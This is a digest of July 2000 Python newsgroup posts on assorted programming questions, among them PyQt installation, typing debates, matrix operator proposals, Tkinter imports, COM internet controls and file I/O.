-- Ken

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 02/07/00, 21:06:09, newsbunny at noether.freeserve.co.uk (Martin P 
Holland) wrote regarding Re: Problem Installing PyQt-012:


> On Sun, 02 Jul 2000 20:09:51 GMT,
> Kenneth Payne <kmp at atrium.fsnet.co.uk> wrote:
> >I'm trying to install the Python bindings to Qt/KDE. I've downloaded
> >the latest sources for Sip. PyQT and pyKDE. I've compiled and
> >installed Sip and compiled PyQT. All seemed to go Ok, though I had to
> >fiddle a bit to get them to compile on Suse 6.3. However, on the 
"make
> >install" for PyQt, I get an error when the install routine hits a
> >Python script:
> >
> >Traceback (innermost last):
> >  File "<string>", line 1, in ?
> >  File "/usr/lib/python1.5/qt.py", line 16, in ?
> >    import libqtc
> >ImportError: /usr/lib/python1.5/lib-dynload/libqtcmodule.so: 
undefined
> >symbol: __ti8sipProxy
> >make[3]: *** [install-data-hook] Error 1
> >make[2]: *** [install-data-am] Error 2
> >make[1]: *** [install-am] Error 2
> >make: *** [install-recursive] Error 1

> Did you run ldconfig after installing sip?
> Did you specify the qtdir to ./configure when compiling sip?

> atb
> Martin


> --
> http://www.noether.freeserve.co.uk
> http://www.kppp-archive.freeserve.co.uk





From rumjuggler at cryptarchy.org  Fri Jul 28 05:14:31 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 09:14:31 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com>
Message-ID: <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com>

On Fri, 28 Jul 2000 08:04:45 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On 28 Jul 2000 19:46:29 +1200, Paul Foley <see at below> wrote:
>>The distinction you're trying to make (between "types" and "just
>>data") is rather foolish.  Data are the things that have types.
>
>    Rather foolish?  For whom?  Humans don't think in "integer" and "long
>integers" or "strings".  We think in terms of data whose exact value, "type",
>is determined by context alone.
>
>    As a human, type 1.  Character?  String?  Integer?  Floating number?  No,
>it is 1 and it can be all of those all on context.  Types are a construct
>created to help computers deal with human concepts.  Why, then, when a
>language comes along that does a darn fine job of doing the right thing by
>defining data as a scalar (it isn't a string, it isn't an integer, it isn't
>floating point, it isn't a character, is can be all of them depending on
>context) do you call it "foolish" to think in those terms?

If I type 1, I think "integer".  Sorry.  This is true outside the realm of
programming.  If I'm talking to someone online and I want to express the
idea of a string containing the character '1', I will write "1" or '1'.

-- 
Barnabas T. Rumjuggler

His eyes are quickened so with grief,
He can watch a grass or leaf
Every instant grow.
 -- Robert Graves, some poem whose name I can't recall


From zo at angband.org  Mon Jul 17 17:27:10 2000
From: zo at angband.org (Eric Lorenzo)
Date: 17 Jul 2000 17:27:10 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
	<3973415D.5262CD86@eecis.udel.edu>
Message-ID: <3hitu4wiq9.fsf@angband.org>

Charles Boncelet <boncelet at eecis.udel.edu> writes:
> Let's get some facts (yes, I know we are not supposed to let facts
> interfere with our arguments on usenet):

[Relative popularity measurements deleted.]

These metrics are meaningless.  You're comparing the popularity of
Matlab, the most popular tool for its problem domain (numerical
computing), to Python, which (unfortunately) isn't even close to the
most popular tool for its problem domain (general-purpose scripting
and programming).  I'd imagine that establishing that there is a high
level of interest in this domain would be a prerequisite for
convincing anyone to add the desired features.  But your metrics don't
tell us anything at all about the relative level of interest in the
numerical computing domain, and are thus useless for your apparent
purpose.  Compare Python+Perl+Tcl+Java+C+C++ to Matlab+(Any other
languages targeted towards the numerical computing problem domain.
Mathematica?), and you might have something half-worthwhile.

Eric


From jhe at webde-ag.de  Tue Jul 25 10:25:14 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Tue, 25 Jul 2000 16:25:14 +0200
Subject: Saving PNG files using Win32 PIL
References: <397D9274.FEB1132D@caren.demon.co.uk>
Message-ID: <8lk7t0$i1j$1@pollux.ip-plus.net>

"Loris Caren" <loris at caren.demon.co.uk> schrieb im Newsbeitrag
news:397D9274.FEB1132D at caren.demon.co.uk...
> I've writen a script to generate PNG images using PIL.  It works a treat
> under Linux, but when I try to port it to MSWindows, the
> PIL/PngImagePlugin spits saying that I don't have a zip encoder. I
> already have a copy of pkzip, but I got hold of a copy of gzip.exe and
> stuck it in C:\Windows\zip.exe but to no avail. Can anyone confirm that
> I need a zip executable, or is the PIL wanting a DLL, etc?

A possible cause (I'm guessing here) is that you need to install the Python
Win32 extensions.





From richard_chamberlain at ntlworld.com  Fri Jul 28 09:48:03 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 28 Jul 2000 14:48:03 +0100
Subject: import Tkinter
References: <398186BD.60295828@et.dtu.dk>
Message-ID: <N6gg5.1807$NJ4.33743@news6-win.server.ntlworld.com>

Hi Brian, this isn't really a Tkinter question but a general python one.

If you use the from <something> import <something or *> it imports the
contents into the current namespace.

For instance if you use:

from Tkinter import *

you can use Label or Button directly,

however if you use import Tkinter you would have to use Tkinter.Label or
Tkinter.Button.

It is considered fairly poor practice to use from * import because you're
bring everything into the current namespace. One of the exceptions to this
is GUI programming  (i.e. Tkinter or whatever) because the names used are
fairly obviously GUI related (Button,Widget,Canvas,etc.)

I suggest you get a good book,

Richard
Brian Elmegaard <be at et.dtu.dk> wrote in message
news:398186BD.60295828 at et.dtu.dk...
> Hello,
>
> I am using (trying to learn how to use) tkinter and pmw. It seems that
> something different is happening if I use
>
> import Tkinter
>
> as does in the pmw examples instead of
>
> from Tkinter import *
>
> as done in the tkinter examples.
> What is the difference?
>
> The things I have remarked are that the pmw examples does not run when
> the latter is used. They Tkinter to be defined.
> When the former is used I have to manually specify CURRENT="current" to
> be able to tag a canvas item as current. However this does not seem to
> stick to it, or perhaps I m doing something wrong.
> Also, with the former I don't seem to have access to tag_names()?
>
> Any help is appreciated,
> Brian




From collins at rush.aero.org  Thu Jul  6 21:53:04 2000
From: collins at rush.aero.org (collins at rush.aero.org)
Date: Thu, 6 Jul 2000 18:53:04 -0700
Subject: [ANN] Python port to Palm Pilot
Message-ID: <200007070148.SAA31054@wd264.aero.org>


Announcing the alpha port of Python-1.5.2+ to the Palm Pilot,
available for download after 8AM PDT July7, 2000 at
http://www.isr.uci.edu/projects/sensos/python/.  This release includes 
the modified Python source and tools for creating Palm applications
from Python modules.  As a convenience, we include the gnu toolchain
required to support the Python distribution on the Palm Pilot.  
We emphasize that this is an alpha release and is deficient in many
respects.  We are releasing it now to stimulate interest in Python on
small computing platforms.  

Enjoy!












From wtanksle at dolphin.openprojects.net  Fri Jul 28 15:06:46 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Fri, 28 Jul 2000 19:06:46 GMT
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com>
Message-ID: <slrn8o3me4.dti.wtanksle@dolphin.openprojects.net>

On Fri, 28 Jul 2000 17:09:41 GMT, Steve Lamb wrote:

>    Yup.  "I'm going to use a, for what I know not.  Could be string, could be
>integer, could be whatever I want."  The point was defining the name and
>assiciate it with nothing.  But since the type is inferred on first use might
>as well have the C declarations.

Not at all.  The problem isn't that the type was inferred; the problem was
that the data was already given.  A better solution to your problem would
have been:

def extend(a):
 for x in range(10):
   a.append(x)

Now the type of a is truly not given, aside from the fact that it *must*
support the 'append' operation.

>         Steve C. Lamb

-- 
-William "Billy" Tanksley


From tim_one at email.msn.com  Sun Jul 30 23:48:42 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 30 Jul 2000 23:48:42 -0400
Subject: [Python-Dev] PEP 201, zip() builtin
In-Reply-To: <39850E3F.434D1C3A@nowonder.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEAPGNAA.tim_one@email.msn.com>

[Tim]
> ...
> Guido would *prefer* to do this via syntax instead of new
> functions, but in  more than a year nobody has been able to
> dream up a reasonable syntax that's backward-compatible.
> That's not for lack of trying.

[Peter Schneider-Kamp]
> I thought the problem was that all the syntaxes implied cross-
> product rather than lock-step iteration. I can't remember what
> the problem for the semicolon syntax should have been

Precisely that Greg Wilson's test subjects read it as cross-product rather
than lock-step.  That leaves it backward-compatible but *un*reasonable
syntax; nobody (incl. Guido) liked such a big semantic difference triggered
by such a tiny bit of embedded punctuation anyway.

> ...





From bjorn at roguewave.com  Wed Jul 19 12:50:15 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 19 Jul 2000 10:50:15 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <3bRSXS$je4@openbazaar.net> <slrn8n9e2s.1pcu.gjm11@g.local>
Message-ID: <3975DC47.F5F6E7E5@roguewave.com>

Gareth McCaughan wrote:
> 
> Paul Prescod wrote:
> 
> [I said:]
[snip]
> >
> > Today, the list comprehension syntax is syntactic sugar for
> >
> > a=[]
> > for i in firstloop:
> >       for j in secondloop: ...
> >               a.append( i, j )
> >
> > I don't see any easy way to guess what type you want as "output" so it
> > has to default to a fixed type. You could of course do this:
> >
> > Matrix( [...] )
> >
> > I would be curious about ideas for allowing the output object to be
> > specified or inferred. What would the protocol be?
> 
> Well, I was making a broken assumption about the meaning of
> multiple comprehension indices: namely, that
>   [(i,j) for i in [1,2], j in [1,2]]
> would evaluate to [(1,1), (2,2)] rather than [(1,1), (1,2), (2,1), (2,2)].
> If it's supposed to go the other way, then some of my other
> assumptions stop working. :-)

Personally, I think the paralell iteration would be easier to explain
(which is why I would prefer that semantics to list-comprehensions with
cartesian product and zip for paralell iteration).

> However: I had been thinking along the following lines.
> [expr for var in val] should produce something of the same
> type as val, with the property that result[i] == expr(val[i])
> for each legal index i. (Or something of the sort.)

That would indeed be nice, and perhaps even doable for single
iteration...

[snip]

> With more than one collection being iterated over, as in
> [blah blah blah for x in xs, y in ys], the simplest thing
> would be to use the first collection mentioned as template
> and source of valid indices. (This is the thing that fails
> totally if we're doing cartesian products rather than parallel
> iteration.)

Nah, this won't work... The second collection would be just as valid for
a template, and -- "In the face of ambiguity, refuse the temptation to
guess."

-- bjorn



From python-list at teleo.net  Mon Jul 31 15:26:07 2000
From: python-list at teleo.net (Patrick Phalen)
Date: Mon, 31 Jul 2000 12:26:07 -0700
Subject: Anyone who tried JPython on a Psion S5Pro?
In-Reply-To: <8m3ofj$12p$1@pollux.ip-plus.net>
References: <8m3ofj$12p$1@pollux.ip-plus.net>
Message-ID: <00073112501107.08193@quadra.teleo.net>

[Franz GEIGER, on Mon, 31 Jul 2000]
:: I wonder if anybody ever tried to use JPython on an EPOC machine.
:: Where should I go to read about what's needed, the caveats, how to develop
:: etc.?

Good question. I've found nothing on this, despite extensive web
searches. If you're thinking of taking this on, you might find some
useful starter hints at:

http://dales.rmplc.co.uk/Duncan/PyPsion.htm
http://www.cs.ust.hk/~otfried/Python/
http://www.davies.lu/Java/

Just yesterday, I installed the CPython interpreter on my new Psion
netBook. It's really funny to see the Python prompt on a computer
which is roughly the same size and weight as _The Quick Python Book_.

I'm looking forward to writing Python code in cafes and on airplanes.
The keyboard on the netBook is superb.



From ajung at suxers.de  Sun Jul 30 13:24:50 2000
From: ajung at suxers.de (ajung at suxers.de)
Date: Sun, 30 Jul 2000 17:24:50 GMT
Subject: CGI downloading
References: <8m1lc5$89p$1@nnrp1.deja.com>
Message-ID: <19ad.398464e2.b28f1@yetix.sz-sb.de>

lkcho at my-deja.com wrote:
2qy
2qyIs there any possible way to download the whole cgi script, instead of
2qyletting it response with html pages?

On a well administrated web server this should not be possible.
Usually CGI scripts reside outside the web servers document root.
However I have seen lots of insecure systems where CGI reside
inside the document root.

Cheers,
Andreas



From jvm at fiberia.com  Thu Jul  6 09:00:03 2000
From: jvm at fiberia.com (jvm at fiberia.com)
Date: Thu, 6 Jul 2000 13:00:03 GMT
Subject: GUI framework with TreeView
References: <3967f81e.23966859@nntp.interaccess.com>
Message-ID: <396482D3.E777E904@fiberia.com>

Java's Swing has JTree

Thaddeus L Olczyk wrote:
> 
> I need a "free" gui framework that runs on both Windows and UNIX
> ( so that lets out QT ) and gives me a component similr to Microsofts
> TreeView. Does anyone know of such a thing?


From cookedm at physics.mcmaster.ca  Mon Jul 17 21:41:00 2000
From: cookedm at physics.mcmaster.ca (David M. Cooke)
Date: 17 Jul 2000 21:41:00 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com>
Message-ID: <qnkem4scj0z.fsf@arbutus.physics.mcmaster.ca>

At some point, hzhu at localhost.localdomain (Huaiyu Zhu) wrote:

> On 17 Jul 2000 17:39:33 -0400, David M. Cooke <cookedm at physics.mcmaster.ca>
> wrote: 
> >> Consider the proposal of having two classes, Matrixwise and Elementwise,
> >> with methods to cast to each other.  I don't know why
> >> 
> >> (a.E()*b.E()).M()*(c.E()*d.E()).M()
> >> 
> >> would be more preferable to 
> >> 
> >> (a.*b)*(c.*d)
> >
> >Well, it doesn't have to be as complicated as your first example. Assume
> >the default is Matrixwise, and we get rid of some ()'s by overriding
> >__getattr__, so that we can right
> >
> >(a.E*b.E)*(c.E*d.E)
> >
> That's a good point.  Can __getattr__ be made to work only on a selected
> number of attributes?  We could use it on T, H, I, C for transpose,
> Hermitian transpose, inverse and conjugate.  But if it works on all the
> undefind members the error message may be too obscure.  Any examples?

Yep. See code below.

> BTW, you meant
> 
> (a.E*b.E).M*(c.E*d.E).M
> 
> for otherwise it is equivalent to (a.*b).*(c.*d).

Actually, I was thinking that elementwise multiplication would return
an object that does matrixwise multiplication (the idea being that
elementwise is a special case, just as .* is used for it instead of *
in Matlab).

> >But what if we assume that if one operand has .E, the other does also!
> >Then we can write
> >
> >(a.E*b)*(c.E*d)
> 
> This won't work.  It would introduce many hard-to-trace bugs.  Looking at
> 
> (a*b)*(c*d)
> 
> and you have to trace the program all the way down to figure out the
> identities of a,b,c,d.  Note that in concept the identities of the objects
> do not change.  We are changing their identities only as labels to help
> picking different operators.  I can foresee great confusion in practice with
> this approach.

I realize this. Note that you have to trace the program to tell that
a,b,c,d are matrices anyway :-). A lot of this is removed by always
having an operation return a Matrixwise object.

Anyways, here's some code that implements what I was talking about. It
uses the UserArray and Matrix classes included with NumPy:

# matclass.py
from UserArray import UserArray
from Matrix import Matrix

class Matrixwise(Matrix):
    def __init__(self, data, typecode=None):
        if isinstance(data, UserArray):
            UserArray.__init__(self, data.array, typecode=typecode)
        else:
            UserArray.__init__(self, data, typecode)

    def __getattr__(self, name):
        if name == 'E':
            return Elementwise(self)
        else:
            try:
                return self.__dict__[name]
            except KeyError:
                raise AttributeError, name

    def __mul__(self, other):
        if isinstance(other, Elementwise):
            return Elementwise.__rmul__(self, other)
        else:
            return Matrix.__mul__(self, other)

class Elementwise(UserArray):
    def __init__(self, data, typecode=None):
        if isinstance(data, UserArray):
            UserArray.__init__(self, data.array, typecode)
        else:
            UserArray.__init__(self, data, typecode)

    def __mul__(self, other):
        return Matrixwise(UserArray.__mul__(self, other).array)


Here's a session:
>>> import matclass
>>> a = matclass.Matrixwise([[2,3],[4,5]])
>>> b = matclass.Matrixwise([[1,2],[3,4]])
>>> a*b
matclass.Matrixwise([[11, 16],
       [19, 28]])
>>> a.E*b.E
matclass.Matrixwise([[ 2,  6],
       [12, 20]])
>>> a.E*b
matclass.Matrixwise([[ 2,  6],
       [12, 20]])
>>> a*b.E
matclass.Matrixwise([[ 2,  6],
       [12, 20]])

Obviously, this can be extended to include transpose, etc.

-- 
|>|\/|<
----------------------------------------------------------------------------
David M. Cooke
cookedm at mcmaster.ca


From peter at schneider-kamp.de  Tue Jul 11 19:01:45 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Tue, 11 Jul 2000 23:01:45 +0000
Subject: kjbuckets
References: <8kflcs$8qv$1@einstein.ebicom.net> <396BA4E4.2C221BD7@schneider-kamp.de>
Message-ID: <396BA759.FCF857F2@schneider-kamp.de>

Peter Schneider-Kamp wrote:
> 
> (http://www.python.org/current/ext/ext.html).

Make that:

http://www.python.org/doc/current/ext/ext.html

should-have-used-cut-n-paste-ly y'rs
peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From gfortune at micron.net  Sun Jul 23 21:16:12 2000
From: gfortune at micron.net (Greg Fortune)
Date: Sun, 23 Jul 2000 18:16:12 -0700
Subject: Newbie ?? Running hello1.py and compiling?
References: <8lejm0$d3o$1@earth.superlink.net>
Message-ID: <pRMe5.76$ef4.30001@news01.micron.net>

<OneDay at ATime.net> wrote in message news:8lejm0$d3o$1 at earth.superlink.net...
> Hello all,
>
>        At Python's site I started with Example 2.1, Our First Program. I
> opened IDLE, Opened a new window and copied/wrote the commands
> and saved it as hello1.py.
>
>         To run the program it says to "run the script as usual"
>                                 $ python hello1.py
>
>         Where do I type this, I don't know what "as usual" means.

It sounds like you are running Windows.  Assuming that is true, pop up a
console (MS-Dos window) and change to the directory containing the file you
created.  Then type "python hello1.py".  All that does is tell python to run
your script.


>
>         After I wrote hello1.py, I noticed a compiled version in my
explorer.
> Which I can run from there. How did that happen?

Sounds like you got hello1.py to run.  Whenever a script is run, it checks
for a compiled version of the file.  If none exist, it compiles the script
into byte code.  If the .py file is newer than the .pyc (compiled file), the
.py file is compiled again.

>
>          When I copied/wrote hello2.py, following the above steps, I did
not
> get a compiled version. What did I do wrong?

Hmmmm, must not have ran this one.

>
>
> Thank you for your time and patience,
> Al

Not a problem ;)
good luck,

Greg Fortune





From alex at magenta.com  Fri Jul 21 16:18:57 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 21 Jul 2000 22:18:57 +0200
Subject: help on wininet (Internet Controls)
References: <39788FB9.F9F940E6@uv.ruhr-uni-bochum.de>
Message-ID: <8laban01g1n@news2.newsguy.com>

"Sebastian Ahrens" <sahrens at uv.ruhr-uni-bochum.de> wrote in message
news:39788FB9.F9F940E6 at uv.ruhr-uni-bochum.de...
> Hi,
> I am trying to find out how to use the Microsoft Internet Transfer
> Controls Com Object. Now I can?t figure out how to use the openURL
> method which reqires two Arguments (URL and DataType) On the one hand I
> don?t know who to specify the desired datatype (in VB it?s icByteArray
> or String)

According to the documentation of the OpenURL method on MSDN:

Settings

The settings for datatype are:

Constant     Value Description
icString     0     Default. Retrieves data as string.
icByteArray  1     Retrieves data as a byte array.

> and on the other I don?t know how to get the returned data.

It should just be the return value of the method, a string or
array as the case may be.


> The second question is whether anyone out there knows how to change the
> Proxy Setting in MSIE from python...

This is what MSDN has to say on the issue, after explaining
how to find out what your usual defaults for proxy are (i.e.,
Internet Options/Connection/Proxy Server):

If you intend to use a proxy other than that named in the dialog box, set
the AccessType property to icNamedProxy (2). Then set the Proxy property to
the name of the proxy, as shown in the code below:

Inet1.Proxy = "myProxyName"
Inet1.AccessType = icNamedProxy

On the other hand, if you are content to use the default proxy (as
determined by your computer's registry), ignore the Proxy property, and
simply set the AccessType to icUseDefault (0).

The settings for AccessType are shown in the following table:

Constant     Value           Description
icUseDefault 0 (Default)     Use Defaults. The control uses default settings
found in the
                             registry to access the Internet.
icDirect     1               Direct to Internet. The control has a direct
connection to
                             the Internet.
icNamedProxy 2               Named Proxy. Instructs the control to use the
proxy server
                             specified in the Proxy property.


MSDN mentions this in a Visual Basic context, but of course
it should all work just as well from Python.


As an aside: being an information junky, I just LOVE the MSDN.
Mostly for Windows stuff, OK, but I also find it useful as an
online searchable reference to HTML, the C++ standard library,
Unicode character tables, etc, etc.  Besides reading it at
msdn.microsoft.com, you can probably get slightly old extra
ones from Windows developer friends for free -- MS puts one
out 4 times a year, and you don't really need the latest one:-).


Alex





From jkraska1 at san.rr.com  Sun Jul 23 01:14:57 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 23 Jul 2000 05:14:57 GMT
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com> <8ldkf7$7km$1@nntp9.atl.mindspring.net> <397A616E.A9549B93@san.rr.com> <0ovknsk976fjdd8hf25cki982ju3l67rkg@4ax.com>
Message-ID: <397A8012.8F1B2CF8@san.rr.com>

> >(map nil #'(lambda (i j) ...) list-one list-two)
> 
> Right now, map(None, ...) will do what the proposed zip() function does,
> but zip() will be lazy, as is my understanding.

Well I haven't followed the zip discussions, but I do know
that lisp's map form, when confronted with more than one list,
will terminate mapping as soon as just one of the lists runs
out. For example:

USER(1): (map 'list #'(lambda (i j) (+ i j)) '(1 2 3 4) '(0 1 2))
(1 3 5)


C/


From grey at despair.rpglink.com  Fri Jul 28 17:10:51 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 21:10:51 GMT
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com> <u3dku59ni.fsf@ctwd0143.fitlinxx.com>
Message-ID: <slrn8o3tio.49c.grey@teleute.rpglink.com>

On 28 Jul 2000 15:37:05 -0400, David Bolen <db3l at fitlinxx.com> wrote:
>In the case here it seems as if you don't really want to define the
>name and associate it with nothing, you want to define the name and
>associate it with an object that will support being appended to.  In

    Will this work if the decision is to make it a string, not a list?

>Or conversely, you could be asking to really have no definition for a,
>but have the language implicitly create a new object upon your first
>attempt to use an ".append" method - something which I don't think is
>really either intuitive or something that works in the general case
>for an object oriented model.

    Hmmm, I see your point there.

>(Oh, and as an aside - this is an impressive thread - even with the
>few warts, I think there's useful information going on)

    Agreed.  I know I'm prolly coming off as a newbie troll but I am learning
things and I really do mean it when I say I don't want to see the language
changed, just expressing an opinion.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From moshez at math.huji.ac.il  Thu Jul 13 18:41:55 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 14 Jul 2000 01:41:55 +0300 (IDT)
Subject: determining type
In-Reply-To: <396e07fd@news-out>
Message-ID: <Pine.GSO.4.10.10007140141290.9644-100000@sundial>

On Thu, 13 Jul 2000, Mike Mikkelsen wrote:

> Hello All,
> 
> Is there a way, programmatically,  to determine if an item in a dictionairy is itself a dictionairy?

Read about the type() built-in function.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From mhammond at skippinet.com.au  Thu Jul 13 17:28:01 2000
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Thu, 13 Jul 2000 21:28:01 GMT
Subject: Pythonwin IIS-ASP module imports (bug)
References: <8kiojo$69q$1@nnrp1.deja.com>
Message-ID: <8klc8c$3je$1@nnrp1.deja.com>

In article <8kiojo$69q$1 at nnrp1.deja.com>,
  kellyk at my-deja.com wrote:
> In IIS 4 using Pythonwin 132 modules are not reloaded when an ASP
script
> is run. Modules are reloaded properly in Pythonwin 129 (I just tested
> this) so I will just go back to version 129 but...

I'm afraid this is by design.  In build 129, Python itself was unloaded
when IIS no longer needed it.  For various reasons (including stability
and speed), Python is now _never_ unloaded from IIS/ASP.  We are very
unlikely to regress back to the original behaviour...

Note that you _can_ use the Python "reload" function inside IIS - this
will allow things to work as you expect.

Mark.


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain  Mon Jul 31 13:34:42 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 31 Jul 2000 17:34:42 GMT
Subject: new bitwise module [was Re: Discussion: new operators ...]
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl> <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com> <8luhsp51ce8@news2.newsguy.com> <slrn8o9s0a.sv.hzhu@localhost.localdomain> <8m3huk025kf@news1.newsguy.com>
Message-ID: <slrn8obed7.17f.hzhu@rocket.knowledgetrack.com>

On Mon, 31 Jul 2000 11:43:14 +0200, Alex Martelli <alex at magenta.com> wrote:
[snip]
>
>And I like your solution of finessing this via names bitor, bitand, etc.
>This
>also makes it sensible to 'from bitwise import *' in a module that does
>heavy bitwise processing.

That's what I had in mind.  Thanks for reminding me of shifts and reserved
words. 

>> >The 'bitwise' module could supply easily explicit bitfield-extraction
>> >in place of the mask-and-shift idioms, too.
>
>E.g., with your current prototype, bitget, bitset, and bitflip, for
>single-bit
>operations, and bitfieldget, bitfieldset, maybe bitfieldoperate for
>multi-bit
>fields operations.  You could see the purpose of this as 'marketing' -- an
>attempt to make the new module more popular, by having it provide a
>little useful extra prepackaged-functionality, that is often welcome in
>program segments that do work with bitfields.

Excellent.  So let's put them in.  I don't know what they do as I don't use
bitwise operations, but I suppose they are simple to write on top of current
bitwise operators.  Would you do it?

[snip]
>
>Maybe it could get into the Standard Distribution, and it would be trivial
>to supply a C implementation of course (cBitfield perhaps?).  No way to
>take away | & << >> ~ until Python 3000, of course, but, yes, surely when
>3000's time comes life will be easier if bitwise is the popular way to do
>things and the linenoise alternative an old/legacy/deprecated one:-).

That's the idea.  So let's have it.   That would make adding new math
operators a little easier to swallow as well. :-)

Huaiyu


From ge at nowhere.none  Thu Jul 13 12:57:36 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 13 Jul 2000 16:57:36 GMT
Subject: Simple File I/O Question
References: <396DF13A.97CC3F5E@bioeng.ucsd.edu>
Message-ID: <4ymb5.894$6E.112638@ptah.visi.com>

In article <396DF13A.97CC3F5E at bioeng.ucsd.edu>, Curtis Jensen wrote:
>I know this should be simple, but....  I have a variable that holds an
>int.  I want to write it to a file.  The following code:
>
>var = 5
>f = open('foo','w')
>f.write(var)
>
>gives this error:
>TypeError: read-only buffer, int

the write method only accepts strings as parameters, so you've
got to convert whatever you want to write to a string before
passing it to write()

try this:

  f.write(str(var))
    or
  f.write("The value of 'var' is %d\n" % var)

-- 
Grant Edwards                   grante             Yow!  Yow! Are we wet yet?
                                  at               
                               visi.com            


From weeks at golden.dtc.hp.com  Sat Jul 29 20:51:25 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 30 Jul 2000 00:51:25 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl>
Message-ID: <8lvu6d$8pa$2@news.dtc.hp.com>

Martijn Faassen (m.faassen at vet.uu.nl) wrote:
: This seems to be where the confusion comes in. When people claim Python
: passes by value, because the *references* are being passed by value, 
: that seems to be just stating that the only thing the computer can pass
: in the end is numbers. If you say that, everything is by value and references
: are impossible, which seems to be a useless set of semantics.

Why useless?  It works well for me and others.  Lisp uses the same object
model as Python, and old Lispers never bothered with this "references"
business.  They managed fine.  And there are advantages.  For example,
these semantics allow me to say that Perl is call-by-reference while Python
is call-by-value, a very real distinction that IMO contributes to the
superiority of Python.

I started -- or at least leapt into -- this thread because at the very
least I think it is misleading for people to assert flatly that Python is
call-by-reference when from another point of view that is not the case.  On
the other hand, as much as I prefer my own viewpoint, I realize that it is
a matter of taste, and tastes are rarely changed as a result of newsgroup
discussions.

Greg


From aahz at netcom.com  Mon Jul 24 12:43:33 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 24 Jul 2000 16:43:33 GMT
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net>
Message-ID: <8lhrnl$mj9$1@slb3.atl.mindspring.net>

In article <397C6F49.7BEBB207 at alabanza.net>, ye, wei <yw at alabanza.net> wrote:
>
>1. Why not use {}?!
>def f:
>    ...
>why not use {} like this:
>def f {
>    ...
>}

If you want the long answer, search DejaNews for "space tab".  Short
answer: it makes programs easier to read.  If you're concerned about
mixing tabs and spaces, use -tt on the Python command line.

After 1.5 years, I still find it annoying to use whitespace to indicate
program blocks (particularly when rearranging code), but I find the
readability more than compensates.  Note that many people here will tell
you to use an editor that makes this easier.

>2. Why variable doesn't have to be declared before use?

This usually ends up being less of a problem in Python because functions
and modules tend to be shorter.  But, yes, this is a concern that a lot
of people have; however, it probably will not get addressed soon.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


